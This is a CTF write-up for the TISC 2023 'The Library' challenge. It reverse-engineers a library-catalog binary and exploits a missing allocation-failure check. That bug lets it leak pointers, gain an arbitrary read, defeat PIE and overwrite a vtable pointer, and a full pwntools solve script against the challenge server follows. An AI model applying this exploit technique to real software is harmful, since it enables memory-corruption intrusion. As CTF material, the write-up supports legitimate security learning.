Level 7B: The Library (RE, Pwn)

This pwn challenge was super annoying with its 3+ levels of menus, but actually the solution in the end was quite interesting. Due to the complexity of the binary, reverse engineering the binary was perhaps a greater challenge than pwning it. However, this complexity also leads to a wide variety of possible solutions.

Overview

The application simulates some sort of library catalog management system. First, the user can enter a name and motto for their library.

Then, the user can choose to edit the name and motto, or configure bookshelves, newspaper stands, CD/DVD stands or brochure stands.

                 What would you like to do?
============================================================
=                    LIBRARY APP MENU                      =
= 1. Edit Name & Motto                                     =
= 2. Book Shelf Layout                                     =
= 3. Newspapers Stand Layout                               =
= 4. CD/DVD Stand Layout                                   =
= 5. Brochures Stand Layout                                =
= 6. Menu                                                  =
= 7. Exit                                                  =
============================================================
[Library App Main] Enter your choice:

Upon entering one of the stand configuration menus, users can add/edit/remove stands. Editing a stand brings the user to yet another menu. Here, the operations vary based on the type of stand the user is editing.

Rev

Newspaper stand

The data structures for each type of stand varies.

Since my exploit only used newspaper stands and bookshelves (which are nearly the same structurally), I'll just discuss the newspaper stand or ns struct:

struct ns {
    long deleted; // set to 1 if block is free
    struct ns_vtable* vtable; // pointer to newspaper stand vtable
    long num_rows; // number of rows in the newspaper stand
    struct ns_row_data* row_ptr;
    struct ns* next;
    struct ns* prev;
};

struct ns_vtable {
    long create_header;
    long add_title;
    long remove_title;
    long swap_title;
    long list_titles;
};

struct ns_row_data {
    char header[32];
    char row0[16];
    char row1[16];
    char row2[16];
    // ...
    char row13[16];
};

Each stand struct contains a deleted field and a vtable field. The ns_row_data struct consists of a 32 byte heading for the newspaper stand, and up to 14 rows, each of which is 16 bytes long. The num_rows variable indicates the number of rows that are in use.

For some reason, function pointers in ns_vtable are stored in big-endian instead of little-endian.

The ns_vtable allows us to set the header value, and add/remove rows, although we won't be using them much in the exploit. However, the list_titles functionality is important as it allows to read the header and rows in the ns_row_data struct. If we can somehow control the row_ptr and num_rows field in the ns struct, we can turn this into an arbitrary read primitive.

Name and motto

The name and motto are stored in the nm struct:

struct nm {
    long deleted;
    long unused;
    char name[16];
    char motto[48];
};

Interestingly, the full length of the name and motto character arrays are printed out individually, regardless of the length of the name and motto:

v8 = std::operator<<<std::char_traits<char>>(
           &std::cout,
           "[Name & Motto] The following are your chosen name and motto");
std::ostream::operator<<(v8, &std::endl<char,std::char_traits<char>>);
std::operator<<<std::char_traits<char>>(&std::cout, "  [Name]: ");
for ( i = 0; i <= 15; ++i )
{
  v11 = name_and_motto->name[i];
  std::operator<<<std::char_traits<char>>(&std::cout, (unsigned int)v11);
}

This allows some uninitialized memory to be leaked.

Win function

There is a function that reads a file at 0x8054. This probably reads and prints the flag file. However, since the binary is a PIE binary, we will need to leak the binary base address before we can call this function.

__int64 sub_8054()
{
  __int64 v0; // rax
  __int64 v1; // rax
  _QWORD *v2; // rax
  char v4[256]; // [rsp+0h] [rbp-240h] BYREF
  __int64 v5; // [rsp+100h] [rbp-140h] BYREF
  char v6[40]; // [rsp+210h] [rbp-30h] BYREF

  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(v6);
  std::basic_ifstream<char,std::char_traits<char>>::basic_ifstream(
    v4,
    "1eb6ad8048df347da1f0d6892b3a4d4e494b84cd.txt",
    8LL);
  if ( (unsigned __int8)std::basic_ios<char,std::char_traits<char>>::operator!(&v5) )
  {
    v0 = std::operator<<<std::char_traits<char>>(&std::cout, "The file does not exist");
    std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
  }
  else
  {
    while ( 1 )
    {
      v2 = (_QWORD *)std::getline<char,std::char_traits<char>,std::allocator<char>>(v4, v6);
      if ( !(unsigned __int8)std::basic_ios<char,std::char_traits<char>>::operator bool((char *)v2 + *(_QWORD *)(*v2 - 24LL)) )
        break;
      v1 = std::operator<<<char,std::char_traits<char>,std::allocator<char>>(&std::cout, v6);
      std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
    }
  }
  std::basic_ifstream<char,std::char_traits<char>>::close(v4);
  std::basic_ifstream<char,std::char_traits<char>>::~basic_ifstream(v4);
  return std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v6);
}

The custom allocator

In the init function, two huge chunks are allocated:

structures = malloc(0x25000uLL);
if ( structures )
	memset(structures, 0, 0x25000uLL);
for ( i = 0; i <= 0x24F; ++i )
	*(_DWORD *)((char *)structures + (int)(i << 8)) = 1;

data_area = malloc(0x50000uLL);
if ( data_area )
	memset(data_area, 0, 0x50000uLL);
data_area_offset = 0;

These allocations are so large that a 4KB page is mmaped to service each of these allocations, so the glibc heap pwn tricks won't be relevant here.

structures is used to store data structures such as the ns struct and its vtable. Notably, it is also used to store the name and motto of the library. It is divided into 592 blocks of size 256 bytes. The first block is initially allocated to store the name and motto struct. However, if this block is freed (by setting deleted to 1), the nm struct may be allocated elsewhere.

Subsequent allocations are random:

__int64 get_available_index()
{
  __int64 v0; // rax
  unsigned int v2; // eax
  unsigned int i; // [rsp+Ch] [rbp-4h]

  for ( i = 0; ; ++i )
  {
    if ( i > 0x24F )
    {
      v0 = std::operator<<<std::char_traits<char>>(&std::cout, "Allocations have been maxed out, please free up space");
      std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
      return 0xFFFFFFFFLL;
    }
    v2 = rand();
    if ( *((_DWORD *)structures + 64 * (v2 % 0x250)) == 1 )
      break;
  }
  return (v2 % 0x250) << 8;
}

A random block is chosen and returned if deleted is 1. If a block cannot be allocated after 0x24f tries, -1 is returned.

On the other hand, data_area is used to store structs such as ns_row_data which stores user data, such as the newspaper stand header and titles. Blocks are allocated by incrementing data_area_offset. Blocks in the data area are never freed and the data_area_offset pointer is never decremented.

This separation (except for the name and motto) of user data and internal program state through the use of two different 'heaps' makes the program pretty hard to exploit and almost secure.

Pwn

The main bug occurs in the create_ns function:

available_index = get_available_index();
v4 = (ns *)((char *)structures + available_index);
LODWORD(v4->deleted) = 0;
LODWORD(v4->num_rows) = 0;
// ...
v4->vtable = (__int64)ns_vtable_ptr;
v4->list.next = (__int64 *)((char *)structures + available_index + 32);
v4->list.prev = v4->list.next;

There is no check if available_index is -1, which would indicate a failure to allocate a block. This results in a allocation to one byte before the start of the structures , which somehow is a valid memory address.

Notably, this causes some interesting pointers (vtable) to be written into the nm struct, which occupies the first block. Since the whole nm struct is printed when we edit the name and motto, we can leak these pointers by editing the name and motto to a 1 byte value:

def leak_ptrs(p):
    edit_name(p, b"a", b"a")
    p.recvuntil(b"  [Name]: a")
    a = p.recvline(keepends=False)
    p.recvuntil(b"  [Motto]: a")
    b = p.recvline(keepends=False)
    return u64(b[6:6+8])

init(p, b'sus', b'sus')
# Allocates a ns struct to the address 1 byte before the first chunk
fill_up_memory(p)
ptr = leak_ptrs(p)
start = ptr - 0x20
print("First chunk start addr", hex(start))

This leaks the base address of structures.

Next, we reallocate another fresh ns struct to structures - 1 to fix the bits that we broke when writing the name and motto previously.

Note that the newspaper stand structure is shifted 1 byte to the left of the name and motto struct.

Our next objective will be to leak some function pointers that will allow us to determine the base address of the binary.

Now, armed with the knowledge of the address of the ns struct, we can modify row_ptr to point to the vtable pointer of the ns struct, allowing us to leak the vtable.

edit_name(p, b"\0"*7+p64(start+8), b"a")
list_newspaper(p, first+1)
p.recvuntil(b"[Header]: ")
l = u64(p.recvline(keepends=False)[:8])
print("vtable address", hex(l))

Similarly, with the vtable address leaked, we can use the arbitrary read primitive to leak the function pointers in the vtable:

edit_name(p, b"\0"*7+p64(l), b"a")
list_newspaper(p, first+1)
p.recvuntil(b"[Header]: ")
l = u64(p.recvline(keepends=False)[:8])
function_addr = rev_ptr(l)
e.address = function_addr - 0x4b12
print("Binary base address", hex(e.address))

Unfortunately, we cannot use the same row_ptr trick to modify the function pointers as the header and newspaper titles can only contain ASCII alphabets and space.

Instead, we allocate a new bookshelf struct instead. Since there has not been any bookshelves allocated, the bookshelf struct is allocated, then its vtable is allocated. Since get_available_index returns -1 as there is no more available memory, the bookshelf vtable overwrites the bookshelf struct at index -1. Again, this overlaps with the name and motto struct, allowing us to edit the bookshelf vtable. Finally, we delete some newspaper stands to free up space to allocate a legitimate bookshelf struct. This bookshelf struct's vtable points to the vtable we have just overwritten, so we can freely control which function is called when bookshelf operations are performed.

Solve script

from ctflib.pwn import *


e = ELF("chal")
context.binary = e


def setup():
    p = remote("nc chals.tisc23.ctf.sg 26195")
    return p


def init(p, name: bytes, motto: bytes):
    p.sendlineafter(b'[Name & Motto] Please enter the name of your library (limited to 16 characters):', name)
    p.sendlineafter(b'[Name & Motto] Please enter the motto of your library (limited to 48 characters):', motto)


def enter_newspaper_stand(p):
    p.sendafter(b'[Library App Main] Enter your choice:', b'3\n')

def list_newspaper(p, index):
    enter_newspaper_stand(p)
    p.sendlineafter(b'[Newspaper Stand Main] Enter your option:', b"2")
    p.sendlineafter(b"Plea", str(index).encode())
    p.sendlineafter(b'Enter your option:', b"5")

def delete_newspapers(p, n):
    enter_newspaper_stand(p)
    for _ in range(n):
        p.sendlineafter(b'[Newspaper Stand Main] Enter your option:', b"3")
        p.sendlineafter(b"Plea", b"1")
    p.sendlineafter(b'Enter your option:', b"5")

def create_bookshelf(p, name):
    p.sendafter(b'[Library App Main] Enter your choice:', b'2\n')
    p.sendlineafter(b'[Book Shelf Main] Enter your option:', b"1")
    p.sendlineafter(b"[Book Shelf]", name)
    p.sendlineafter(b'Enter your option:', b"5")


# Index of first newspaper to be allocated to the first chunk
first = 0

def fill_up_memory(p):
    enter_newspaper_stand(p)
    maxed_count = 0
    global first
    i = 0
    # Do it twice to be safe
    while maxed_count < 2:
        print(i)
        p.sendlineafter(b'[Newspaper Stand Main] Enter your option:', b'1')
        p.recvline()
        status = p.recvline()
        if b"maxed out" in status:
            if first == 0:
                first = i
            maxed_count += 1
        p.sendlineafter(b'[Newspaper Stand] Please provide a header for this newspaper stand (max 32 characters)', b'a'*32)
        i += 1
    p.sendlineafter(b'[Newspaper Stand Main] Enter your option:', b'5')
    return i


def edit_name(p, name, motto):
    status = b"Allocation"
    while status == b"Allocation":
        p.sendafter(b'[Library App Main] Enter your choice:', b'1\n')
        p.recvline()
        p.recvline()
        status = p.recv(10)
    p.sendline(name)
    p.sendlineafter(b'[Name & Motto] Please enter the motto of your library (limited to 48 characters):', motto)

def leak_ptrs(p):
    edit_name(p, b"a", b"a")
    p.recvuntil(b"  [Name]: a")
    a = p.recvline(keepends=False)
    p.recvuntil(b"  [Motto]: a")
    b = p.recvline(keepends=False)
    return u64(b[6:6+8])

def main_menu(p):
    p.sendline(b"7")
    p.sendline(b"5")

def rev_ptr(ptr):
    return u64(p64(ptr)[::-1])

if __name__ == '__main__':
    p = setup()

    init(p, b'sus', b'sus')
    fill_up_memory(p)
    ptr = leak_ptrs(p)
    start = ptr - 0x20
    print("First chunk start addr", hex(start))
    fill_up_memory(p)

    # Arb read as we overwrite the row_ptr pointer of the newspaper stand
    edit_name(p, b"\0"*7+p64(start+8), b"a")
    list_newspaper(p, first+1)
    p.recvuntil(b"[Header]: ")
    l = u64(p.recvline(keepends=False)[:8])
    print("vtable address", hex(l))
    main_menu(p)

    edit_name(p, b"\0"*7+p64(l), b"a")
    list_newspaper(p, first+1)

    p.recvuntil(b"[Header]: ")
    l = u64(p.recvline(keepends=False)[:8])
    function_addr = rev_ptr(l)
    e.address = function_addr - 0x4b12
    print("Binary base address", hex(e.address))

    target = e.address + 0x8054

    main_menu(p)


    # Allocate bookshelf vtable at first chunk
    create_bookshelf(p, b"aaaa")


    # Delete that bookshelf so we don't have to deal with the linked list
    # But we keep the vtable
    p.sendafter(b'[Library App Main] Enter your choice:', b'2\n')
    p.sendlineafter(b'[Book Shelf Main] Enter your option:', b"3")
    p.sendlineafter(b"Please provide", b"1")
    p.sendlineafter(b"Enter your option:", b"5")

    edit_name(p, b"a"*7+p64(rev_ptr(target)), b"a")



    # Clear up space so that the next bookshelf is not allocated to the first chunk
    delete_newspapers(p, 100)



    create_bookshelf(p, b"bbbbbb")

    # Call overwritten function pointer

    p.sendafter(b'[Library App Main] Enter your choice:', b'2\n')
    p.sendlineafter(b'[Book Shelf Main] Enter your option:', b"2")
    p.sendlineafter(b"Please select", b"1")
    p.sendlineafter(b"Enter your option:", b"3")


    p.interactive()

Flag: TISC{fr3e-FrE3-l3t_mE_fReEe3!!}

Trivia

I solved this challenge after completing level 10. Before I solved it, I was informed by some other participants that level 7B contained my Discord username and wanted to know if I had created this challenge. According to the real challenge author, it was simply a coincidence.

This challenge was also the final challenge I solved in TISC 2023. Upon completion of this challenge, a popup appears on the TISC website:

Perhaps it is a bug as it only appears after solving all challenges instead of after solving level 10?